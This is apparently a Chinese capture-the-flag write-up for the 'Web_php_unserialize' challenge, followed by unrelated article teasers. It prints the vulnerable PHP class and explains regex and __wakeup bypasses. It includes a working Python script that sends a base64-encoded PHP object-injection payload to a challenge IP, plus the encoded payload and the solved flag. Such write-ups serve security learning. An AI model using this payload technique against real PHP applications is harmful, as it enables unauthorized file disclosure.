【web | CTF】攻防世界 Web_php_unserialize

天命:这条反序列化题目也是比较特别,里面的漏洞知识点,在现在的php都被修复了

天命:而且这次反序列化的字符串数量跟其他题目不一样

 <?php 
class Demo { // 初始化给变量内容,也就是当前文件,高亮显示出来private $file = 'index.php';// 初始化触发函数:把我们输入的东西放入属性变量里,就是我们反序列化的时候输入的东西public function __construct($file) { $this->file = $file; }// 销毁时候触发,相当于是打印flag文件出来function __destruct() { echo @highlight_file($this->file, true); }// 这个方法不会触发,估计是旧版本的php,满足某些情况所以没有触发// 纯碎用来吓人,我还研究了一晚上如何让  fl4g.php == index.php// fl4g.php == index.php,就算是弱比较也是不可能相等的function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php  // 直接访问是空气$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); // 即是重点,也是难点,更是无用的点// 现在版本的php都已经修复了if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

坑点:__wakeup函数可以忽略,根本不会触发,

麻痹研究了我一晚上如何才能让  fl4g.php == index.php 

最后结论:就算是弱比较,也不可能相等,没有其他办法

所以只需要绕过正则表达式即可,不会正则表达式自己去学习

既不简单,也不难,我也学了几天才算比较掌握
 

【绕过点一】绕过正则,在O:4: 改成 O:+4: 就可以了

多一个+号(具体原理也不清楚,反正当是刷经验了,上古版本的php才有的漏洞)

【绕过点二】绕过 __wakeup函数,把反序列化中的内容数量,从1改成2即可

至少很大概率是这样绕过,看别人wp讲的

大概意思应该是当反序列化的  属性变量数  大于  当前类的属性变量数 的时候,就什么安全性因素,就不触发

【绕过点三】加上\00

变量名:Demofile 变成  \00Demo\00, 字符个数+2就行:s:10:"\00Demo\00file"

这里可能是因为 private 的原因,所以是+2

其他题目是protected,就是+3

也不确定是不是肯定,做的反序列化题目还不够多

【最终改变】

O:4:"Demo":1:{s:10:"Demofile";s:3:"aaa";}

O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}

写上测试脚本

import requests,base64# 两个payload都可以
str = 'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'
str = 'O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}'# 编码
base64_str = base64.b64encode(str.encode('utf-8')).decode('utf-8')# 发送请求
res = requests.get('http://61.147.171.105:56675?var='+base64_str)
if "flag" in res.text:print("成功了")

base64:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/696312.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录 -- 字符串

文章目录 反转字符串描述题解 反转字符串II描述题解 替换数字描述题解&#xff1a;replace函数题解&#xff1a;双指针 翻转字符串里的单词描述题解 右旋字符串描述题解 实现 strStr()描述题解&#xff1a;暴力算法题解&#xff1a;KMP算法(懵懂) 重复的子字符串描述题解题解&a…

数据备份(上)

备份的意义 数据备份是容灾的基础&#xff0c;防止系统出现操作失误或者遭受网络攻击导致数据丢失&#xff0c;为保证数据安全和业务连续性&#xff0c;有效的防护措施&#xff0c;对数据进行合理的备份、防范于未然。 面临的威胁 去年2023年10月亲自经历客户某网站无法访问…

WEB-UI自动化测试实践

&#x1f525; 交流讨论&#xff1a;欢迎加入我们一起学习&#xff01; &#x1f525; 资源分享&#xff1a;耗时200小时精选的「软件测试」资料包 &#x1f525; 教程推荐&#xff1a;火遍全网的《软件测试》教程 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1…

已解决的问题:BIOS中Enter键失效_BIOS中回车键没反应

问题&#xff1a; 未解决的问题&#xff1a;BIOS中enter键失效_bios回车键没反应-CSDN博客 问题复现&#xff1a; Windows7 关机 开机按F2进入BIOS 调整Boot Mode&#xff0c;按Enter建&#xff0c;Enter键失效 按F10&#xff0c;按Enter键&#xff0c;Enter键失效 按E…

LeetCode59-螺旋矩阵II

参考链接&#xff1a;代码随想录->螺旋矩阵II 关键是学视频链接里面的编码思想&#xff0c;然后背下来 class Solution { public:vector<vector<int>> generateMatrix(int n) {vector<vector<int>> resvector(n,vector<int>(n,0));int sx0,s…

HTML好玩代码(正式版)

今天给大家几个好玩儿的HTML代码&#xff0c;可以自行修改文字&#xff0c;更改效果&#xff08;一定要看到最后&#xff09;&#xff0c;代码&#xff0c;&#x1f389;走起&#xff1a; 一、圣诞树效果&#xff08;音乐可自行选择&#xff09; 代码&#xff1a; <!DOCTY…

vite是什么

vite 是什么 vite —— 一个由 vue 作者尤雨溪开发的 web 开发工具 Vite由两个主要部分组成 dev server&#xff1a;利用浏览器的ESM能力来提供源文件&#xff0c;具有丰富的内置功能并具有高效的HMR生产构建&#xff1a;生产环境利用Rollup来构建代码&#xff0c;提供指令用…

基于情感分析的网上图书推荐系统

项目&#xff1a;基于情感分析的网上图书推荐系统 摘 要 基于网络爬虫的数据可视化服务系统是一种能自动从网络上收集信息的工具&#xff0c;可根据用户的需求定向采集特定数据信息的工具&#xff0c;本项目通过研究爬取网上商品评论信息实现商品评论的情感分析系统功能。对于…

嵌入式学习25-复习指针要点

1指针 1.1语法&#xff1a; 【基类型*指针变量名】 【int *p&a】 1 2 1.2语义&#xff1a; 【基类型】&#xff1a;指针变量指向的目标的数据类型 【*】&#xff1a;表示此时定义的变量是一个指针类型的变量 【&a】&#xff1a;一块存放着int类型数据的空间的地址 【*p…

Flutter开发LongPressDraggable、Draggable 的onDragEnd没有被调用

文章目录 onDragEnd 什么时候执行&#xff1f;onDragEnd 在拖动结束时没有被调用的可能原因 onDragEnd 什么时候执行&#xff1f; onDragEnd 回调函数在拖动结束时执行&#xff0c;但要注意&#xff0c;拖动结束有多种情况&#xff0c;不仅仅是松开手指触发的。 onDragEnd 会…

【国产MCU】-CH32V307-通用定时器(GPTM)-单脉冲模式

通用定时器(GPTM)-单脉冲模式 文章目录 通用定时器(GPTM)-单脉冲模式1、单脉冲模式介绍2、驱动API介绍3、单脉冲使用实例本文将详细介绍如何使用CH32V307通用定时器的单脉冲模式。 1、单脉冲模式介绍 单脉冲模式可以响应一个特定的事件,在一个延迟之后产生一个脉冲,延迟…

Seata 的 AT 模式

目录 概述 Springcloud 整合 Seata 数据库脚本 服务依赖 Springboot 配置 代码改造 AT模式下的数据隔离 写隔离 读隔离 概述 Seata 的 AT 模式是 Seata 的默认模式&#xff0c;它的原理是依赖于数据库事务&#xff0c;以数据库事务保证本地事务分支特性&#xff0c;结合…

windows系统用VS环境开发linux程序之一

主要有两种方法&#xff0c;一种是在windows中安装linux子系统&#xff0c;即WSL&#xff0c;另一种是windows系统装linux虚拟机。 这里先用虚拟机方法。参考文章&#xff1a; 用VS2015开发Linux程序详细教程-配置篇_vs2015可以在linux安装吗-CSDN博客 这篇基本就够了。不过…

nginx之web性能location优先级

4.2 event事件 events {worker_connections 65536; #设置单个工作进程的最大并发连接数use epoll;#使用epoll事件驱动&#xff0c;Nginx支持众多的事件驱动&#xff0c;比如:select、poll、epoll&#xff0c;只能设置在events模块中设置。accept_mutex on; #on为同一时刻一个…

设计模式之委派模式

文章目录 前言正文一、生活中的例子二、Java代码实现2.1 类设计2.2 代码实现2.2.1 Employee2.2.2 ArchitectureDesignEmployer2.2.3 BackEmployer2.2.4 FrontEmployer2.2.5 Leader2.2.6 EmployeeStrongPointEnum2.2.7 Boss 2.3 测试2.3.1 Client2.3.2 测试结果 三、委派模式的优…

Docker Desktop 4.27.1 Windows 10 安装 教程

Docker Desktop 4.27.1 Windows 10 安装 版本要求windows 版本要求wsl 版本要求docker desktop 版本 安装首先确保系统版本符合要求前提下安装wsl安装 Dockers Desktop安装说明 安装问题docker Desktop 无法正常启动&#xff0c;提示wsl 相关信息wsl --install 执行输出帮助日志…

Python 程序中查看 Python version

Python 程序中查看 Python version 1. Code2. OutputReferences 1. Code #!/usr/bin/env python3 # -*- coding:utf-8 -*-import platform import sysprint("\nplatform.python_version():") print(platform.python_version())print("\nsys.version:") pr…

springboot大学生体质测试管理系统源码和论文

大学生体质测试管理系统提供给用户一个简单方便体质测试管理信息&#xff0c;通过留言区互动更方便。本系统采用了B/S体系的结构&#xff0c;使用了java技术以及MYSQL作为后台数据库进行开发。系统主要分为系统管理员、教师和用户三个部分&#xff0c;系统管理员主要功能包括首…

图像分类入门:使用Python和Keras实现卷积神经网络

文章标题&#xff1a;图像分类入门&#xff1a;使用Python和Keras实现卷积神经网络 简介 图像分类是计算机视觉领域的一个重要任务&#xff0c;它涉及将图像分成不同的类别或标签。卷积神经网络&#xff08;CNN&#xff09;是图像分类任务中的一种常用模型&#xff0c;它能够…

rust实战系列十四:复合数据类型

复合数据类型可以在其他类型的基础上形成更复杂的组合关系。 本章介绍tuple、struct、enum等几种复合数据类型。数组留到第6章介绍。 2.3.1 tuple tuple指的是“元组”类型&#xff0c;它通过圆括号包含一组表达式构成。tuple内的元素没 有名字。tuple是把几个类型组合到一起的…